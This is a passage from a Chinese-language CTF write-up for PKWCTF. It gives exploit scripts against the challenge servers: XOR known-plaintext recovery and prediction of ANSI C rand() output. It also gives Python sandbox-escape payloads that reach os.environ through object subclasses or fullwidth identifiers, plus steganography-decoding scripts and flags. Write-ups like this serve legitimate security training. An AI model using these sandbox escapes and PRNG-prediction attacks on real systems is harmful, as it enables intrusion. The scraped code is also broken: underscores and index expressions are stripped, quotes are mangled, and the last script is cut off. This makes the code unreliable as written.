Plain Text import re import socket import time  HOST = “nc1.ctfplus.cn” PORT = 39368   def recv_until_prompt(sock):     data = b””     while b”> ” not in data:         chunk = sock.recv(4096)         if not chunk:             break         data += chunk     return data   with socket.create_connection((HOST, PORT)) as sock:     recv_until_prompt(sock)      # 提交已知明文     known_plaintext = b”A” * 64     sock.sendall(b”1\n”)     recv_until_prompt(sock)     sock.sendall(known_plaintext + b”\n”)     response = recv_until_prompt(sock).decode()     user_ciphertext = bytes.fromhex(         re.search(r”ciphertext_hex = ([0-9a-f]+)”, response).group(1)     )      # 获取管理员密文     sock.sendall(b”2\n”)     response = recv_until_prompt(sock).decode()     admin_ciphertext = bytes.fromhex(         re.search(r”admin_ciphertext_hex = ([0-9a-f]+)”, response).group(1)     )      # C1 XOR C2 XOR P1 = P2     recovered = bytes(         c1 ^ c2 ^ p         for c1, c2, p in zip(user_ciphertext, admin_ciphertext, known_plaintext)     )     print(recovered.decode())      # 提交恢复出的管理员广播     sock.sendall(b”3\n”)     recv_until_prompt(sock)     sock.sendall(recovered + b”\n”)     print(recv_until_prompt(sock).decode())

FLAG:PKWCTF{8c060370-fe47-412e-b502-404687275224}

Lucky Machine

菜单中可以反复打印 guest ticket,也可以输入下一个 admin code:

Plain Text [1] Print a guest ticket [2] Guess next admin code [3] Walk away

题目提示:

Plain Text Hehe says the machine has been lucky since 1990. mio listens to the gears and counts the rhythm.

这暗示 ticket 是由一个有规律的伪随机数生成器产生的,而不是安全随机数。

选择 [1] 多次,得到类似下面的序列:

Plain Text 505170936 721557713 907702070 1357381175 935735204 515797261 1519798466 1681147603 1913168400 393089289

这些数字都小于 2^31,并且序列符合经典 ANSI C rand() 使用的线性同余生成器:

Plain Text x[n+1] = (a*x[n] + c) mod m

其中:

Plain Text m = 2^31 a = 1103515245 c = 12345

验证递推关系

以相邻差值为基础,可以计算:

Plain Text d[n] = x[n+1] – x[n] mod m

对于 LCG,有:

Plain Text d[n+1] = a*d[n] mod m

因为本题中 d[0] 与 2^31 互质,所以可以求逆得到:

Plain Text a = d[1] * inverse(d[0], m) mod m

计算得到:

Plain Text a = 1103515245 c = x[1] – a*x[0] mod m = 12345

将这组参数代回所有已知数据,均能得到下一个 ticket,说明模型正确。

Exp

收集 10 个 guest ticket,预测下一个值,然后提交给 [2]:

Python import re import socket import time  HOST = “nc1.ctfplus.cn” PORT = 37210 MOD = 2 ** 31 A = 1103515245 C = 12345   with socket.create_connection((HOST, PORT)) as sock:     sock.settimeout(3)     sock.recv(8192)  # banner and menu      tickets = []     for _ in range(10):         sock.sendall(b”1\n”)         time.sleep(0.12)         response = sock.recv(8192)         ticket = int(re.search(rb”guest_ticket = (\d+)”, response).group(1))         tickets.append(ticket)      # 预测下一次 LCG 输出     next_code = (A * tickets[-1] + C) % MOD     print(“tickets:”, tickets)     print(“predicted admin code:”, next_code)      sock.sendall(b”2\n”)     time.sleep(0.1)     sock.recv(8192)  # next_admin_code prompt     sock.sendall(str(next_code).encode() + b”\n”)     time.sleep(0.2)     print(sock.recv(8192).decode(errors=”replace”))

flag:PKWCTF{37cb3630-5a34-4872-9293-9c6c3b5839e2}

misc

Explosion

Binwalk提取出来直接有一个flag1.txt

直接打开是flag前半段:PKWCTF{I_4m_th3,下面就是已知明文前缀,进行已知道明文攻击

拿到密钥解密即可

flag:PKWCTF{I_4m_th3_b0n3_0f_my_sw0rd}

pyjail-闭月

题目提示所有 builtins 已被移除,只允许输入表达式。

从空 builtins 到对象层级

虽然 print、open、import 等内置函数不可用,但 Python 对象本身仍然存在。空元组可以作为入口:

().class                  # tuple

().class.base         # object

().class.base.subclasses()

object 的子类列表中包含已经导入的 os 模块相关类。通过类名筛选,可以找到 os._wrap_close: [x for x in ().class.base.subclasses() if x.name==’_wrap_close’] 利用函数 globals 读取环境变量 os._wrap_close 的 init 是 Python 函数。函数的 globals 属性指向定义它的 os 模块全局字典,其中包含 environ。最终 payload: [x for x in ().class.base.subclasses() if x.name==’_wrap_close’][0].init.globals[‘environ’][‘FLAG’] 返回结果: ‘PKWCTF{c215499e-2fb4-4025-80e8-f49eb5d43e7f}’

pyjail-惊鸿

题目要求输入一个 Python 表达式,且源码中不能出现 ASCII 字母。

过滤绕过

Python 会对标识符进行 Unicode 规范化。全角英文字母在解析时会被规范化为普通 ASCII 标识符,因此可以使用全角形式绕过源码中的 ASCII 字母正则检查。例如,全角的 print 会被 Python 解析为 print。

构造读取表达式

为了避免在字符串中直接出现 ASCII 字母,使用 chr 与 map 根据数字构造字符串:

”.join(map(chr,[111,115]))  # 构造 os

”.join(map(chr,[70,76,65,71]))  # 构造 FLAG

最终表达式如下:

print(open(”.join(map(chr,[102,108,97,103]))).read())

尝试读取当前目录下的 flag 文件后发现文件不存在。继续读取服务端目录中的 app.py,源码显示 flag 保存在环境变量 FLAG 中。因此改为利用全角标识符读取环境变量:

print(import(”.join(map(chr,[111,115]))).environ[”.join(map(chr,[70,76,65,71]))])

服务返回:

‘PKWCTF{5d9653d3-ee8e-4a92-8911-ae27aa4f96ef}’

静谧之眼

都说了静谧之眼那就直接用silenteye解把

导入进去点击解密就拿到flag压缩包了

然后打开开始flag

把flag开头换一下即可

flag:PKWCTF{The_si1ent_eye_se@s_thr0ugh_everything!}

黑白之间

识别棋盘 19×19 个交叉点,忽略没有棋子的空位,将黑子记为 0、白子记为 1,按从左到右、从上到下读取并每 8 位转为 ASCII,即可拿到 flag

exp:

Python from pathlib import Path from PIL import Image   IMAGE = Path(r”C:\Users\19169\Desktop\黑白之间\1.png”)   def classify(pixel):     “””Classify a sampled intersection as black, white, or empty.”””     r, g, b = pixel[:3]     if r < 30 and g < 30 and b < 30:         return "black"     if r > 200 and g > 200 and b > 200:         return “white”     return “empty”   def extract_flag(path):     image = Image.open(path).convert(“RGB”)     width, height = image.size      # The supplied board spans approximately (60, 60) to (940, 940).     # Using interpolation keeps this usable if the image is resized slightly.     left, top = width * 0.06, height * 0.06     right, bottom = width * 0.94, height * 0.94     xs = [round(left + (right – left) * i / 18) for i in range(19)]     ys = [round(top + (bottom – top) * i / 18) for i in range(19)]      stones = []     for y in ys:         for x in xs:             stone = classify(image.getpixel((x, y)))             if stone != “empty”:                 stones.append(stone)      # Black is 0, white is 1. The empty intersections are separators/fillers.     bits = “”.join(“0” if stone == “black” else “1” for stone in stones)     if len(bits) % 8:         raise ValueError(f”Extracted {len(bits)} bits, not byte-aligned”)      data = bytes(int(bits[i:i + 8], 2) for i in range(0, len(bits), 8))     return data.decode(“ascii”)   if __name__ == “__main__”:     flag = extract_flag(IMAGE)     print(flag)

flag:PKWCTF{b1ack_is_0_whit3_1S_1}

正在发动鬼脑

题目分析

拿到题目附件后,首先查看压缩包内容。

外层压缩包中包含内层 ZIP 文件以及相关数据文件。继续解压内层 ZIP,可以发现题目的核心数据文件 data.txt。

直接打开 data.txt,表面上看起来主要是一些普通字符,但其中夹杂了大量不可见的零宽字符。

使用 Python 对文件进行分析:

Python from collections import Counter  data = open(“data.txt”, “r”, encoding=”utf-8″).read()  zw = [c for c in data if c in “\u200b\u200c\u200d\u2060”]  print(len(zw)) print(Counter(zw))

可以发现存在四种零宽字符:

Plain Text U+200B U+200C U+200D U+2060

总数量为:

Plain Text 4300

这说明这些零宽字符很可能被用于进行四进制/2 bit 编码。

提取零宽字符

将四种零宽字符分别映射成 2 bit:

Plain Text U+200B -> 00 U+200C -> 01 U+200D -> 10 U+2060 -> 11

然后每 4 个零宽字符组成一个字节。

脚本:

Python mapping = {     “\u200b”: “00”,     “\u200c”: “01”,     “\u200d”: “10”,     “\u2060”: “11”, }  bits = “”.join(mapping[c] for c in zw)  data_bytes = bytes(     int(bits[i:i+8], 2)     for i in range(0, len(bits), 8) )  print(data_bytes[:30])

得到的数据开头为:

Plain Text ZW1\x00\x00\x04(x\xdaeUko…

其中:

Plain Text ZW1

可以看作题目自定义的数据头,而后面出现:

Plain Text 78 DA

这是典型的 zlib 压缩数据特征。

因此尝试从对应位置开始进行 zlib 解压

zlib 解压

Python import zlib  compressed = data_bytes[7:]  result = zlib.decompress(compressed)  print(result.decode())

成功得到一段 JSON 配置

其中最重要的内容如下:

JSON {     “version”: 4,     “direction”: “forward encoder; invert to recover pixels”,     “tile”: [8, 8],     “pixel_bits”: {         “black”: 1,         “white”: 0     },     “tile_permutation”: {         “a”: 5,         “b”: 173,         “source_index”: “t=(a*k+b)%tile_count”     },     “local_scan”: {         “name”: “diagonal-zigzag”,         “rule”: “s=x+y; x ascending for even s, descending for odd s”,         “reverse_if”: “t%2==1”     },     “rotation”: {         “a”: 7,         “b”: 3,         “rule”: “r=(a*t+b)%4”     } }

此外还有一个非常关键的 transport 和 character_mapping 配置

分析字符映射

配置中指出:

Plain Text alphabet: 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz

共有62个字符。

同时规定:

Plain Text key_source = ZIP global archive comment key_format = Exactly 8 ASCII hex digits

也就是说,真正的密钥并不在 data.txt 中,而是在 ZIP 文件的全局注释(ZIP Comment) 中。

使用 Python 查看:

Python from zipfile import ZipFile  with ZipFile(“inner.zip”, “r”) as z:     print(z.comment)

得到:

Plain Text 53d26425

因此:

Plain Text K = bytes.fromhex(“53d26425”)

恢复每个字符对应的黑白像素

题目规定,对每一个分组 g:

Plain Text SHA256(K || uint32_be(g) || ascii(c))

对 62 个字符进行排序。

然后:

Plain Text 排序后的前 31 个字符 -> 黑色 -> 1 剩余 31 个字符       -> 白色 -> 0

对应代码:

Python import hashlib import struct  alphabet = “0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz”  def get_mapping(g):     arr = []      for c in alphabet:         raw = (             K             + struct.pack(“>I”, g)             + c.encode()         )          score = hashlib.sha256(raw).digest()          arr.append((score, ord(c), c))      arr.sort()      mapping = {}      for i, (_, _, c) in enumerate(arr):         mapping[c] = 1 if i < 31 else 0      return mapping

处理 9 字符一组的数据

配置中的:

Plain Text group_pixels = 8 check = xor

说明每 9 个可见字符中:

Plain Text 8 bit = 实际像素 1 bit = XOR 校验

题目还规定校验位的位置:

Plain Text p = s % 9

初始状态:

Plain Text s = 93

状态更新:

Plain Text s = (33*s + v + g) % 256

因此依次处理所有字符。

Python state = 93 pixels = []  groups = [     visible[i:i+9]     for i in range(0, len(visible), 9) ]  for g, group in enumerate(groups):      mp = get_mapping(g)      bits = [mp[c] for c in group]      p = state % 9      check = bits

data_bits = bits[:p] + bits[p+1:]      xor_value = 0     for b in data_bits:         xor_value ^= b      assert xor_value == check      v = 0      for b in data_bits:         v = (v << 1) | b      pixels.extend(data_bits)      state = (33 * state + v + g) % 256

题目中明确说明:

Plain Text CR/LF

以及四种零宽字符都需要忽略。

因此先得到可见字符:

Python visible = “”.join(     c for c in data     if c not in “\r\n\u200b\u200c\u200d\u2060” )

得到243648个字符。

由于每 9 个字符为一组:

Plain Text 243648 / 9 = 27072

因此最终得到:

Plain Text 27072 × 8 = 216576

个真实像素 bit。

计算 Tile 数量

题目规定每个 Tile 为:

Plain Text 8 × 8

所以一个 Tile 有:

Plain Text 64

个像素。

因此:

Plain Text 216576 / 64 = 3384

也就是说,一共有:

Plain Text 3384 个 Tile

恢复 Tile 排列

题目给出了:

Plain Text t = (5*k + 173) % tile_count

其中:

Plain Text tile_count = 3384

这里的 k 是编码后的 Tile 编号,t 是源 Tile 编号。

因此恢复时,将第 k 个 Tile 放回:

Python t = (5 * k + 173) % 3384

对应的位置

恢复 Tile 内部的扫描顺序

题目使用:

Plain Text diagonal-zigzag

扫描方式。

定义:

Plain Text s = x + y

当:

Plain Text s 为偶数

时:

Plain Text x 从小到大

当:

Plain Text s 为奇数

时:

Plain Text x 从大到小

另外:

Plain Text t % 2 == 1

时需要进行反转。

因此需要按照题目定义重新生成 8×8 Tile 的扫描坐标,然后反向恢复原始像素位置。

恢复 Tile 旋转

题目给出的旋转规则:

Plain Text r = (7*t + 3) % 4

四种坐标映射分别为:

Plain Text 0: (x,y)  1: (y,n-1-x)  2: (n-1-x,n-1-y)  3: (n-1-y,x)

其中:

Plain Text n = 8

根据 t 计算每个 Tile 的旋转状态,然后执行逆旋转即可恢复原始 Tile。

确定最终图片尺寸

总共有:

Plain Text 3384

个 8×8 Tile。

将 3384 进行因数分解,可以得到合理的 Tile 网格:

Plain Text 94 × 36

因此最终图片尺寸为:

Plain Text 94 × 8 = 752 36 × 8 = 288

即:

Plain Text 752 × 288

将恢复后的像素按照:

Plain Text black = 1 white = 0

生成图片。

完整恢复脚本核心

核心恢复逻辑可以整理为:

Python from zipfile import ZipFile import hashlib import struct import zlib  # ZIP comment with ZipFile(“inner.zip”) as z:     comment = z.comment.decode()  K = bytes.fromhex(comment)  alphabet = “0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz”  def get_mapping(g):     arr = []      for c in alphabet:         raw = K + struct.pack(“>I”, g) + c.encode()         score = hashlib.sha256(raw).digest()         arr.append((score, ord(c), c))      arr.sort()      return {         item[2]: 1 if i < 31 else 0         for i, item in enumerate(arr)     }  # 读取 data.txt data = open(“data.txt”, encoding=”utf-8″).read()  visible = “”.join(     c for c in data     if c not in “\r\n\u200b\u200c\u200d\u2060” )  state = 93 pixels = []  for g in range(len(visible) // 9):      group = visible[g*9:g*9+9]      mp = get_mapping(g)      bits = [mp[c] for c in group]      p = state % 9      check = bits

data_bits = bits[:p] + bits[p+1:]      assert check == (sum(data_bits) % 2)      v = 0     for b in data_bits:         v = (v << 1) | b      pixels.extend(data_bits)      state = (33 * state + v + g) % 256

之后按照题目给出的:

Plain Text tile_permutation local_scan rotation

逆向还原即可得到最终图片。

Exp:

Python import sys import io import zipfile import zlib import hashlib import struct import math from PIL import Image  # ============================================================ # 配置 # ============================================================  EXPECTED_SHA256 = (     “de46c7564c271c524cf4ff6df51309e49711b23fbb78cde7a11f3e1a879940e9” )  ALPHABET = “0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz”  ZERO_WIDTH = {     “\u200b”: “00”,  # ZERO WIDTH SPACE     “\u200c”: “01”,  # ZERO WIDTH NON-JOINER     “\u200d”: “10”,  # ZERO WIDTH JOINER     “\u2060”: “11”,  # WORD JOINER }  # ============================================================ # 1. 找到 data.txt 和 ZIP Comment # ============================================================  def load_challenge(path):     print(“[+] 打开:”, path)      with zipfile.ZipFile(path, “r”) as outer:         names = outer.namelist()          # 情况1:data.txt就在当前ZIP         data_name = next(             (n for n in names if n.lower().endswith(“data.txt”)),             None         )          if data_name:             print(“[+] 找到 data.txt:”, data_name)             data = outer.read(data_name)             comment = outer.comment              return data, comment          # 情况2:寻找内层ZIP         inner_name = next(             (n for n in names if n.lower().endswith(“.zip”)),             None         )          if not inner_name:             raise RuntimeError(“[-] 没有找到 data.txt 或内层 ZIP”)          print(“[+] 找到内层 ZIP:”, inner_name)          inner_data = outer.read(inner_name)          with zipfile.ZipFile(io.BytesIO(inner_data), “r”) as inner:             data_name = next(                 (n for n in inner.namelist()                  if n.lower().endswith(“data.txt”)),                 None             )              if not data_name:                 raise RuntimeError(“[-] 内层 ZIP 中没有找到 data.txt”)              data = inner.read(data_name)             comment = inner.comment              return data, comment  # ============================================================ # 2. 解析零宽字符 # ============================================================  def decode_zero_width(data):     text = data.decode(“utf-8”)      zero_width = [         c for c in text         if c in ZERO_WIDTH     ]      print(“[+] 零宽字符数量:”, len(zero_width))      # 四种字符,每个代表2bit     bits = “”.join(         ZERO_WIDTH[c]         for c in zero_width     )      if len(bits) % 8 != 0:         raise RuntimeError(“[-] 零宽字符转换后的 bit 数不是8的倍数”)      result = bytes(         int(bits[i:i + 8], 2)         for i in range(0, len(bits), 8)     )      print(“[+] 解码后的数据头:”, repr(result[:20]))      return result  # ============================================================ # 3. zlib 解压规则 # ============================================================  def extract_rules(raw):     # 题目头:     # ZW1 + 4字节 + zlib     #     # 正常情况下 zlib 从 offset 7 开始      zlib_data = raw[7:]      try:         result = zlib.decompress(zlib_data)     except Exception:          # 保险:自动寻找常见 zlib 头         pos = raw.find(b”\x78\xda”)          if pos == -1:             raise RuntimeError(“[-] 找不到 zlib 数据”)          result = zlib.decompress(raw[pos:])      print(“[+] zlib 解压成功”)     print(“[+] 规则长度:”, len(result))      return result.decode(“utf-8”)  # ============================================================ # 4. 根据 ZIP Comment 生成字符映射 # ============================================================  def build_mapping(key, g):     arr = []      for c in ALPHABET:          raw = (             key             + struct.pack(“>I”, g)             + c.encode(“ascii”)         )          score = hashlib.sha256(raw).digest()          arr.append(             (                 score,                 ord(c),                 c             )         )      # SHA256排序     # ASCII作为tie-break     arr.sort()      mapping = {}      for i, item in enumerate(arr):          c = item[2]          if i < 31:             mapping[c] = 1         else:             mapping[c] = 0      return mapping  # ============================================================ # 5. 从 data.txt 恢复 216576 个像素bit # ============================================================  def recover_transport(data, key):      text = data.decode(“utf-8”)      # 忽略:     # CR     # LF     # 四种零宽字符     visible = “”.join(         c for c in text         if c not in (             “\r”,             “\n”,             “\u200b”,             “\u200c”,             “\u200d”,             “\u2060”,         )     )      print(“[+] 可见字符数量:”, len(visible))      if len(visible) % 9 != 0:         raise RuntimeError(             “[-] 可见字符数量不是9的倍数”         )      group_count = len(visible) // 9      print(“[+] 分组数量:”, group_count)      state = 93      pixels = []      for g in range(group_count):          group = visible[             g * 9:             g * 9 + 9         ]          mapping = build_mapping(key, g)          bits = [             mapping[c]             for c in group         ]          # 校验位位置         p = state % 9          check = bits

删除校验位         data_bits = (             bits[:p] +             bits[p + 1:]         )          # XOR校验         xor_value = 0          for b in data_bits:             xor_value ^= b          if xor_value != check:             raise RuntimeError(                 f”[-] XOR校验失败: group={g}, ”                 f”state={state}, p={p}”             )          # 8bit MSB first         v = 0          for b in data_bits:             v = (v << 1) | b          pixels.extend(data_bits)          # 状态更新         state = (             33 * state +             v +             g         ) % 256          if g % 5000 == 0:             print(                 f"[+] transport: "                 f"{g}/{group_count}"             )      print("[+] transport恢复完成")     print("[+] 像素bit数量:", len(pixels))      return pixels  # ============================================================ # 6. 生成8×8 Diagonal ZigZag坐标 # ============================================================  def make_zigzag_coords(n=8):      coords = []      for s in range(2 * n - 1):          x_start = max(             0,             s - (n - 1)         )          x_end = min(             n - 1,             s         )          xs = list(             range(                 x_start,                 x_end + 1             )         )          # 偶数:x升序         # 奇数:x降序         if s % 2 == 1:             xs.reverse()          for x in xs:              y = s - x              coords.append(                 (x, y)             )      return coords  # ============================================================ # 7. 逆向 Tile / ZigZag / Rotation # ============================================================  def recover_image(pixels):      TILE_SIZE = 8     TILE_PIXELS = 64      tile_count = (         len(pixels) //         TILE_PIXELS     )      print("[+] Tile数量:", tile_count)      if tile_count != 3384:         raise RuntimeError(             f"[-] Tile数量异常: {tile_count}"         )      # 3384 = 94 × 36     tile_w = 94     tile_h = 36      if tile_w * tile_h != tile_count:         raise RuntimeError(             "[-] Tile尺寸计算错误"         )      print(         f"[+] Tile布局: "         f"{tile_w} × {tile_h}"     )      coords = make_zigzag_coords(         TILE_SIZE     )      # 原始Tile     original_tiles = [         None         for _ in range(tile_count)     ]      # ========================================================     # 对每个编码Tile进行逆向     # ========================================================      for k in range(tile_count):          # forward:         #         # t = (5*k + 173) % tile_count         #         # k = encoded tile         # t = source/original tile          t = (             5 * k +             173         ) % tile_count          tile_bits = pixels[             k * TILE_PIXELS:             (k + 1) * TILE_PIXELS         ]          # rotation         r = (             7 * t +             3         ) % 4          # ----------------------------------------------------         # forward中:         #         # t%2==1时         # diagonal zigzag结果会reverse         #         # 所以恢复时先reverse回来         # ----------------------------------------------------          if t % 2 == 1:              scan_values = tile_bits[::-1]          else:              scan_values = tile_bits          tile = [             0             for _ in range(TILE_PIXELS)         ]          # ----------------------------------------------------         # rotation inverse         #         # 题目定义:         #         # 0: (x,y)         # 1: (y,n-1-x)         # 2: (n-1-x,n-1-y)         # 3: (n-1-y,x)         #         # 这里按照题目定义,         # scan坐标映射回source tile         # ----------------------------------------------------          for value, (x, y) in zip(             scan_values,             coords         ):              if r == 0:                  sx = x                 sy = y              elif r == 1:                  sx = y                 sy = TILE_SIZE - 1 - x              elif r == 2:                  sx = (                     TILE_SIZE -                     1 -                     x                 )                  sy = (                     TILE_SIZE -                     1 -                     y                 )              else:                  sx = (                     TILE_SIZE -                     1 -                     y                 )                  sy = x              tile[                 sy * TILE_SIZE + sx             ] = value          original_tiles[t] = tile      # ========================================================     # Tile重新拼成整张图     # ========================================================      width = tile_w * TILE_SIZE     height = tile_h * TILE_SIZE      pixels_out = []      for tile_y in range(tile_h):          for y in range(TILE_SIZE):              for tile_x in range(tile_w):                  tile_index = (                     tile_y * tile_w +                     tile_x                 )                  tile = original_tiles[                     tile_index                 ]    %

    PKWCTF 网络安全文章

    PKWCTF

    文章总结: 本文为PKWCTF比赛Writeup,涵盖XXE、SQL注入、文件上传、逆向分析、密码学等CTF题目解题思路,包含具体攻击手法与Flag,如XXE读
    评论:0   参与:  0